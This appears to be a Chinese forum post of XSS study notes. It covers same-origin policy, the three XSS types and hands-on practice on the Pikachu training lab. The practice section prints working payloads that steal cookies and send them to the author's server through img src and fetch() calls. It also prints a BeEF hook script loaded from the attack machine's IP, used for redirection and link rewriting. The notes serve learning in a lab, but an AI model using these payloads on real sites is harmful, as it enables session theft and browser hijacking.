-
-
[分享]XSS漏洞学习笔记
-
发表于: 2025-3-18 14:28 333
-
原理
xss漏洞全称为跨站脚本漏洞,攻击对象是客户端,原理是hacker会向网站插入一些恶意JavaScript代码(从留言板,url等位置插入后嵌入在网页),如果没有对用户提交的数据过滤等防范,服务器会以为这就是网页本身的代码,导致这些恶意代码会返回客户端执行从而导致客户端被攻击
xss和浏览器同源策略的关系
同源策略:
限制不同源的脚本对资源的跨域访问
同源:协议、域名、端口三者一致
https://a.com:8080/page1 和 https://a.com:8080/page2
两者协议都为https,域名都为a.com,端口都为8080,所以同源
不同源:
https://a.com/page1 和 http://a.com/page2
以上两者协议不同不同源
https://a.com/page1 和 https://asd.a.com/page2
以上两者域名不同所以不同源
https://a.com/page1 和 https://a.com:8080/page2
以上两者端口号不同(443与8080)不同源
xss漏洞利用是嵌入在网站本身中的,因此都是在同一个网站内进行窃取数据等操作,所以此时不受同源策略限制,可以获得本网站也就是a网站的数据
如果a网站仅有xss漏洞的话,由于同源策略的限制,xss无法从a网站获取b网站的数据,除非还有别的漏洞加以配合
总而言之xss漏洞因为同源策略只能攻击当前网站而无法攻击别的网站
xss漏洞类型
反射性xss
攻击是一次性的,也就是服务器没有把恶意代码传入数据库存储起来,恶意脚本通过url或提交表单直接反射在页面中,用户点击提交或访问构造的url时触发
存储型xss
攻击是永久性的,网站获取到恶意代码后将其存入数据库或是文件系统,在用户再次访问这个网站时,这个恶意脚本也会被当做js代码应用于网站,从而被执行
DOM型xss
DOM:DOM 将 HTML 文档表示为一个树形结构,每个 HTML 标签(如<div>、<p>)都是一个节点,节点之间通过父子关系或是兄弟关系连接
HTML DOM 定义了访问和操作 HTML 文档的标准方法。
DOM 以树型结构表达 HTML 文档
HTML DOM树型结构
攻击是一次性的 hacker可以通过构造url改变页面的dom结构,比如
https://a.com/#<script>alert(1)</script>,如果页面中存在动态修改dom的代码,就可以将<script>alert(1)</script>嵌入到页面中
https://a.com/#test该url的意思是访问a网站页面中id=test的内容,这个id不是get请求的参数,而是网站元素的id
比如
当你访问这个 https://a.com/#appMain时就会跳转到id=appMain块对应的内容
页面中存在动态修改dom的代码是什么意思呢?
比如
<script> var hash = window.location.hash.substring(1); document.getElementById("content").innerHTML = hash;</script>
这样就可以将id=content的元素内容改变为我们传入的url里“#”号后的内容,从而实现嵌入
三种类型的区别
特性 | 反射型 XSS | 存储型 XSS | DOM 型 XSS |
---|---|---|---|
存储位置 | 不存储,通过 URL 或表单反射 | 存储在服务器(如数据库) | 不存储,完全在客户端完成 |
触发方式 | 用户点击恶意链接或提交表单 | 用户访问受影响的页面 | 用户点击恶意链接 |
影响范围 | 单个用户 | 所有访问页面的用户 | 单个用户 |
检测难度 | 较易检测(通过服务器日志) | 较易检测(通过服务器存储内容) | 较难检测(完全在客户端完成) |
防御重点 | 输入过滤、输出编码 | 输入过滤、输出编码 | 避免动态操作 DOM 时引入未过滤内容 |
实战
pikachu靶场-反射型xss(get)
发现输入框,且输入的数据会被嵌入页面元素
尝试xss漏洞,发现输入框有长度限制,改大一点就好
输入<script>alert(666)</script>,发现弹窗,证明存在xss漏洞
尝试获取登录用户cookie
将上一个payload里的666改成document.cookie即可实现
或者使用document.write
获取当前时间
修改网站标题
pikachu靶场-反射型xss(post)
提示用户名密码为admin/123456
登录后发现和上一个get反射xss页面一样
但是发现我们输入的内容是通过post请求输入
输入<script>alert(666)</script>还是能成功跳出弹窗
输入<script>document.write(document.cookie)</script>获取cookie
使用带外方式获取cookie
使用payload
<script>document.write('<img src="http://127.0.0.1:1122/'+document.cookie+'"/>')</script>
访问图片后即可将cookie信息发送到我的服务器
或是使用payload
<script>fetch("http://127.0.0.1:1122/"+document.cookie)</script>
在运行后也可以获得cookie
xss-beef使用
在kali里打开beef-xss
随后跳转到beef的web界面
登陆后界面:
这时我们要使用beef时就可以利用它提供的payload
输入payload<script src="http://192.168.8.139:3000/hook.js"></script>(192.168.8.139是攻击机所在的ip)并运行,可以看到靶机上线了
于是可以进行漏洞利用
获取cookie
网页重定向
选择redirect browser模块
编辑
改变重定向url并运行
返回靶场时发现变成
或是使用link write模块改变网站中链接的目标地址
查看页面元素发现链接地址已被修改
点击退出登录后
beef还有很多利用方式,就不一一做笔记了
赞赏
- [分享]XSS漏洞学习笔记 334